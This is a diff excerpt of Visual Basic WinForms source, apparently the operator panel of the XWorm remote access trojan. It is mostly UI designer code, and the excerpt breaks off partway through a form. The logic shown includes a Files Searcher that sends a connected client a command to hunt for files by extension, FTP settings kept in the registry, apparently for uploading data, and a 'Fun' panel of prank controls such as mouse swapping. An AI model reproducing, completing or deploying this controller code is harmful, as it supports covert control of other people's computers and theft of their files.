Guna2GradientButton1.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Guna2GradientButton1.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton1.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton1.Image = Global.XWorm.My.Resources.Resources.Play
|
||||
Guna2GradientButton1.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton1.ImageSize = New System.Drawing.Size(15, 15)
|
||||
Guna2GradientButton1.Location = New System.Drawing.Point(0, 0)
|
||||
Guna2GradientButton1.Name = "Guna2GradientButton1"
|
||||
Guna2GradientButton1.Size = New System.Drawing.Size(334, 21)
|
||||
Guna2GradientButton1.TabIndex = 34
|
||||
Guna2GradientButton1.Text = "Run"
|
||||
'
|
||||
'Guna2Panel3
|
||||
'
|
||||
Guna2Panel3.Dock = System.Windows.Forms.DockStyle.Left
|
||||
Guna2Panel3.Location = New System.Drawing.Point(0, 0)
|
||||
Guna2Panel3.Name = "Guna2Panel3"
|
||||
Guna2Panel3.Size = New System.Drawing.Size(33, 32)
|
||||
Guna2Panel3.TabIndex = 37
|
||||
'
|
||||
'Guna2Panel2
|
||||
'
|
||||
Guna2Panel2.Dock = System.Windows.Forms.DockStyle.Right
|
||||
Guna2Panel2.Location = New System.Drawing.Point(367, 0)
|
||||
Guna2Panel2.Name = "Guna2Panel2"
|
||||
Guna2Panel2.Size = New System.Drawing.Size(33, 32)
|
||||
Guna2Panel2.TabIndex = 36
|
||||
'
|
||||
'FilesSearcher
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(400, 239)
|
||||
Controls.Add(ListBox1)
|
||||
Controls.Add(Panel5)
|
||||
Controls.Add(Panel1)
|
||||
Controls.Add(StatusStrip1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "FilesSearcher"
|
||||
Text = "Files Searcher"
|
||||
Guna2ContextMenuStrip2.ResumeLayout(False)
|
||||
Panel1.ResumeLayout(False)
|
||||
Panel1.PerformLayout()
|
||||
CType(Guna2NumericUpDown1, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
StatusStrip1.ResumeLayout(False)
|
||||
StatusStrip1.PerformLayout()
|
||||
Panel5.ResumeLayout(False)
|
||||
Guna2Panel1.ResumeLayout(False)
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
|
||||
Friend WithEvents ListBox1 As ListBox
|
||||
Friend WithEvents Panel1 As Panel
|
||||
Friend WithEvents Label2 As Label
|
||||
Friend WithEvents Label1 As Label
|
||||
Friend WithEvents ToolStripStatusLabel1 As ToolStripStatusLabel
|
||||
Friend WithEvents StatusStrip1 As StatusStrip
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents Panel5 As Panel
|
||||
Friend WithEvents Guna2Panel1 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2GradientButton1 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2Panel3 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2Panel2 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2NumericUpDown1 As Guna.UI2.WinForms.Guna2NumericUpDown
|
||||
Friend WithEvents Guna2ContextMenuStrip2 As Guna.UI2.WinForms.Guna2ContextMenuStrip
|
||||
Friend WithEvents ToolStripMenuItem7 As ToolStripMenuItem
|
||||
Friend WithEvents AddToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents RemoveToolStripMenuItem1 As ToolStripMenuItem
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,63 @@
|
||||
Imports System.Threading
|
||||
Public Class FilesSearcher
|
||||
|
||||
Public C As Client
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
If ListBox1.Items.Count > 0 And Guna2NumericUpDown1.Text.Length > 0 Then
|
||||
|
||||
Guna2GradientButton1.Enabled = False
|
||||
|
||||
Dim SBx As New System.Text.StringBuilder
|
||||
SBx.Clear()
|
||||
For Each Item As String In ListBox1.Items
|
||||
SBx.Append("-=>" & Item)
|
||||
Next
|
||||
|
||||
Dim B As Byte() = SB("StartFilesSearcher" & SettingsHelper.SPL & Guna2NumericUpDown1.Value.ToString & "000000" & SettingsHelper.SPL & SBx.ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend),B)
|
||||
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub ToolStripMenuItem7_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem7.Click
|
||||
ListBox1.Items.Clear()
|
||||
End Sub
|
||||
|
||||
Private Sub AddToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles AddToolStripMenuItem1.Click
|
||||
Dim str As String = ".jpg"
|
||||
Dim str3 As String = Interaction.InputBox("Add Extension", "Files Searcher", str)
|
||||
If (str3.Length = 0) Then
|
||||
Else
|
||||
If ListBox1.Items.Contains(str3) Then
|
||||
Else
|
||||
ListBox1.Items.Add(str3)
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub RemoveToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles RemoveToolStripMenuItem1.Click
|
||||
Try
|
||||
Do While (ListBox1.SelectedItems.Count > 0)
|
||||
ListBox1.Items.Remove(ListBox1.SelectedItem)
|
||||
Loop
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub FilesSearcher_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("CloseFilesSearcher")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+216
@@ -0,0 +1,216 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Ftp
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Ftp))
|
||||
label4 = New System.Windows.Forms.Label()
|
||||
label3 = New System.Windows.Forms.Label()
|
||||
label2 = New System.Windows.Forms.Label()
|
||||
label1 = New System.Windows.Forms.Label()
|
||||
Guna2TextBox3 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2TextBox2 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2TextBox1 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2NumericUpDown1 = New Guna.UI2.WinForms.Guna2NumericUpDown()
|
||||
Guna2GradientButton1 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
CType(Guna2NumericUpDown1, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
SuspendLayout()
|
||||
'
|
||||
'label4
|
||||
'
|
||||
label4.AutoSize = True
|
||||
label4.ForeColor = System.Drawing.Color.Black
|
||||
label4.Location = New System.Drawing.Point(13, 49)
|
||||
label4.Name = "label4"
|
||||
label4.Size = New System.Drawing.Size(36, 13)
|
||||
label4.TabIndex = 37
|
||||
label4.Text = "User :"
|
||||
'
|
||||
'label3
|
||||
'
|
||||
label3.AutoSize = True
|
||||
label3.ForeColor = System.Drawing.Color.Black
|
||||
label3.Location = New System.Drawing.Point(15, 105)
|
||||
label3.Name = "label3"
|
||||
label3.Size = New System.Drawing.Size(34, 13)
|
||||
label3.TabIndex = 36
|
||||
label3.Text = "Port :"
|
||||
'
|
||||
'label2
|
||||
'
|
||||
label2.AutoSize = True
|
||||
label2.ForeColor = System.Drawing.Color.Black
|
||||
label2.Location = New System.Drawing.Point(13, 76)
|
||||
label2.Name = "label2"
|
||||
label2.Size = New System.Drawing.Size(36, 13)
|
||||
label2.TabIndex = 35
|
||||
label2.Text = "Pass :"
|
||||
'
|
||||
'label1
|
||||
'
|
||||
label1.AutoSize = True
|
||||
label1.ForeColor = System.Drawing.Color.Black
|
||||
label1.Location = New System.Drawing.Point(13, 22)
|
||||
label1.Name = "label1"
|
||||
label1.Size = New System.Drawing.Size(36, 13)
|
||||
label1.TabIndex = 34
|
||||
label1.Text = "Host :"
|
||||
'
|
||||
'Guna2TextBox3
|
||||
'
|
||||
Guna2TextBox3.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox3.BorderRadius = 3
|
||||
Guna2TextBox3.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox3.DefaultText = ""
|
||||
Guna2TextBox3.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox3.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox3.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox3.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox3.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox3.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox3.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox3.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox3.Location = New System.Drawing.Point(55, 73)
|
||||
Guna2TextBox3.Name = "Guna2TextBox3"
|
||||
Guna2TextBox3.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox3.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox3.PlaceholderText = ""
|
||||
Guna2TextBox3.SelectedText = ""
|
||||
Guna2TextBox3.Size = New System.Drawing.Size(259, 21)
|
||||
Guna2TextBox3.TabIndex = 59
|
||||
'
|
||||
'Guna2TextBox2
|
||||
'
|
||||
Guna2TextBox2.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox2.BorderRadius = 3
|
||||
Guna2TextBox2.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox2.DefaultText = ""
|
||||
Guna2TextBox2.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox2.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox2.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox2.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox2.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox2.Location = New System.Drawing.Point(55, 46)
|
||||
Guna2TextBox2.Name = "Guna2TextBox2"
|
||||
Guna2TextBox2.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox2.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox2.PlaceholderText = ""
|
||||
Guna2TextBox2.SelectedText = ""
|
||||
Guna2TextBox2.Size = New System.Drawing.Size(259, 21)
|
||||
Guna2TextBox2.TabIndex = 57
|
||||
'
|
||||
'Guna2TextBox1
|
||||
'
|
||||
Guna2TextBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox1.BorderRadius = 3
|
||||
Guna2TextBox1.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox1.DefaultText = ""
|
||||
Guna2TextBox1.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Location = New System.Drawing.Point(55, 19)
|
||||
Guna2TextBox1.Name = "Guna2TextBox1"
|
||||
Guna2TextBox1.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox1.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.PlaceholderText = ""
|
||||
Guna2TextBox1.SelectedText = ""
|
||||
Guna2TextBox1.Size = New System.Drawing.Size(259, 21)
|
||||
Guna2TextBox1.TabIndex = 58
|
||||
'
|
||||
'Guna2NumericUpDown1
|
||||
'
|
||||
Guna2NumericUpDown1.BackColor = System.Drawing.Color.Transparent
|
||||
Guna2NumericUpDown1.BorderRadius = 3
|
||||
Guna2NumericUpDown1.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2NumericUpDown1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2NumericUpDown1.Location = New System.Drawing.Point(55, 100)
|
||||
Guna2NumericUpDown1.Maximum = New Decimal(New Integer() {65534, 0, 0, 0})
|
||||
Guna2NumericUpDown1.Name = "Guna2NumericUpDown1"
|
||||
Guna2NumericUpDown1.Size = New System.Drawing.Size(76, 25)
|
||||
Guna2NumericUpDown1.TabIndex = 74
|
||||
Guna2NumericUpDown1.UpDownButtonFillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
'
|
||||
'Guna2GradientButton1
|
||||
'
|
||||
Guna2GradientButton1.BorderRadius = 4
|
||||
Guna2GradientButton1.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton1.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton1.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton1.Image = CType(resources.GetObject("Guna2GradientButton1.Image"), System.Drawing.Image)
|
||||
Guna2GradientButton1.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton1.ImageSize = New System.Drawing.Size(15, 15)
|
||||
Guna2GradientButton1.Location = New System.Drawing.Point(55, 131)
|
||||
Guna2GradientButton1.Name = "Guna2GradientButton1"
|
||||
Guna2GradientButton1.Size = New System.Drawing.Size(259, 26)
|
||||
Guna2GradientButton1.TabIndex = 75
|
||||
Guna2GradientButton1.Text = "Save"
|
||||
'
|
||||
'Ftp
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(333, 172)
|
||||
Controls.Add(Guna2GradientButton1)
|
||||
Controls.Add(Guna2NumericUpDown1)
|
||||
Controls.Add(Guna2TextBox3)
|
||||
Controls.Add(Guna2TextBox2)
|
||||
Controls.Add(Guna2TextBox1)
|
||||
Controls.Add(label4)
|
||||
Controls.Add(label3)
|
||||
Controls.Add(label2)
|
||||
Controls.Add(label1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
MaximizeBox = False
|
||||
MinimizeBox = False
|
||||
Name = "Ftp"
|
||||
SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide
|
||||
Text = "Ftp Settings"
|
||||
CType(Guna2NumericUpDown1, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
Private WithEvents label4 As Label
|
||||
Private WithEvents label3 As Label
|
||||
Private WithEvents label2 As Label
|
||||
Private WithEvents label1 As Label
|
||||
Friend WithEvents Guna2TextBox3 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2TextBox2 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2TextBox1 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2NumericUpDown1 As Guna.UI2.WinForms.Guna2NumericUpDown
|
||||
Friend WithEvents Guna2GradientButton1 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,52 @@
|
||||
Public Class Ftp
|
||||
|
||||
Public Sub New()
|
||||
InitializeComponent()
|
||||
Opacity = 0
|
||||
FadeIn(Me, 20)
|
||||
Guna2TextBox1.Select()
|
||||
End Sub
|
||||
|
||||
Private Sub Ftp_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
Try
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Ftphost", Nothing) = Nothing Then
|
||||
Guna2TextBox1.Text = "ftp.exmple.com"
|
||||
Else
|
||||
Guna2TextBox1.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Ftphost", Nothing)
|
||||
End If
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Ftpuser", Nothing) = Nothing Then
|
||||
Guna2TextBox2.Text = "ftp-username"
|
||||
Else
|
||||
Guna2TextBox2.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Ftpuser", Nothing)
|
||||
End If
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Ftppass", Nothing) = Nothing Then
|
||||
Guna2TextBox3.Text = "ftp-password"
|
||||
Else
|
||||
Guna2TextBox3.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Ftppass", Nothing)
|
||||
End If
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Ftpport", Nothing) = Nothing Then
|
||||
Guna2NumericUpDown1.Value = 21
|
||||
Else
|
||||
Guna2NumericUpDown1.Value = Convert.ToInt32(My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Ftpport", Nothing))
|
||||
End If
|
||||
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
Try
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Ftphost", Guna2TextBox1.Text)
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Ftpuser", Guna2TextBox2.Text)
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Ftppass", Guna2TextBox3.Text)
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Ftpport", Guna2NumericUpDown1.Value.ToString)
|
||||
Close()
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+702
@@ -0,0 +1,702 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Fun
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Fun))
|
||||
Label11 = New System.Windows.Forms.Label()
|
||||
Label10 = New System.Windows.Forms.Label()
|
||||
Label9 = New System.Windows.Forms.Label()
|
||||
Label8 = New System.Windows.Forms.Label()
|
||||
Label6 = New System.Windows.Forms.Label()
|
||||
Label5 = New System.Windows.Forms.Label()
|
||||
Label4 = New System.Windows.Forms.Label()
|
||||
Label3 = New System.Windows.Forms.Label()
|
||||
Label2 = New System.Windows.Forms.Label()
|
||||
Label1 = New System.Windows.Forms.Label()
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
Guna2GradientButton1 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton2 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton3 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton4 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton5 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton6 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton7 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton8 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton9 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton10 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton11 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton12 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton13 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton14 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton15 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton16 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Label12 = New System.Windows.Forms.Label()
|
||||
Guna2GradientButton17 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton18 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton20 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton19 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton21 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2TextBox1 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2GradientButton22 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
SuspendLayout()
|
||||
'
|
||||
'Label11
|
||||
'
|
||||
Label11.AutoSize = True
|
||||
Label11.ForeColor = System.Drawing.Color.Black
|
||||
Label11.Location = New System.Drawing.Point(112, 189)
|
||||
Label11.Name = "Label11"
|
||||
Label11.Size = New System.Drawing.Size(48, 13)
|
||||
Label11.TabIndex = 65
|
||||
Label11.Text = "Volume :"
|
||||
'
|
||||
'Label10
|
||||
'
|
||||
Label10.AutoSize = True
|
||||
Label10.ForeColor = System.Drawing.Color.Black
|
||||
Label10.Location = New System.Drawing.Point(11, 189)
|
||||
Label10.Name = "Label10"
|
||||
Label10.Size = New System.Drawing.Size(71, 13)
|
||||
Label10.TabIndex = 61
|
||||
Label10.Text = "SwapMouse :"
|
||||
'
|
||||
'Label9
|
||||
'
|
||||
Label9.AutoSize = True
|
||||
Label9.ForeColor = System.Drawing.Color.Black
|
||||
Label9.Location = New System.Drawing.Point(209, 106)
|
||||
Label9.Name = "Label9"
|
||||
Label9.Size = New System.Drawing.Size(65, 13)
|
||||
Label9.TabIndex = 58
|
||||
Label9.Text = "TrayNotify :"
|
||||
'
|
||||
'Label8
|
||||
'
|
||||
Label8.AutoSize = True
|
||||
Label8.ForeColor = System.Drawing.Color.Black
|
||||
Label8.Location = New System.Drawing.Point(311, 19)
|
||||
Label8.Name = "Label8"
|
||||
Label8.Size = New System.Drawing.Size(54, 13)
|
||||
Label8.TabIndex = 55
|
||||
Label8.Text = "Explorer :"
|
||||
'
|
||||
'Label6
|
||||
'
|
||||
Label6.AutoSize = True
|
||||
Label6.ForeColor = System.Drawing.Color.Black
|
||||
Label6.Location = New System.Drawing.Point(209, 19)
|
||||
Label6.Name = "Label6"
|
||||
Label6.Size = New System.Drawing.Size(38, 13)
|
||||
Label6.TabIndex = 49
|
||||
Label6.Text = "Start :"
|
||||
'
|
||||
'Label5
|
||||
'
|
||||
Label5.AutoSize = True
|
||||
Label5.ForeColor = System.Drawing.Color.Black
|
||||
Label5.Location = New System.Drawing.Point(11, 106)
|
||||
Label5.Name = "Label5"
|
||||
Label5.Size = New System.Drawing.Size(47, 13)
|
||||
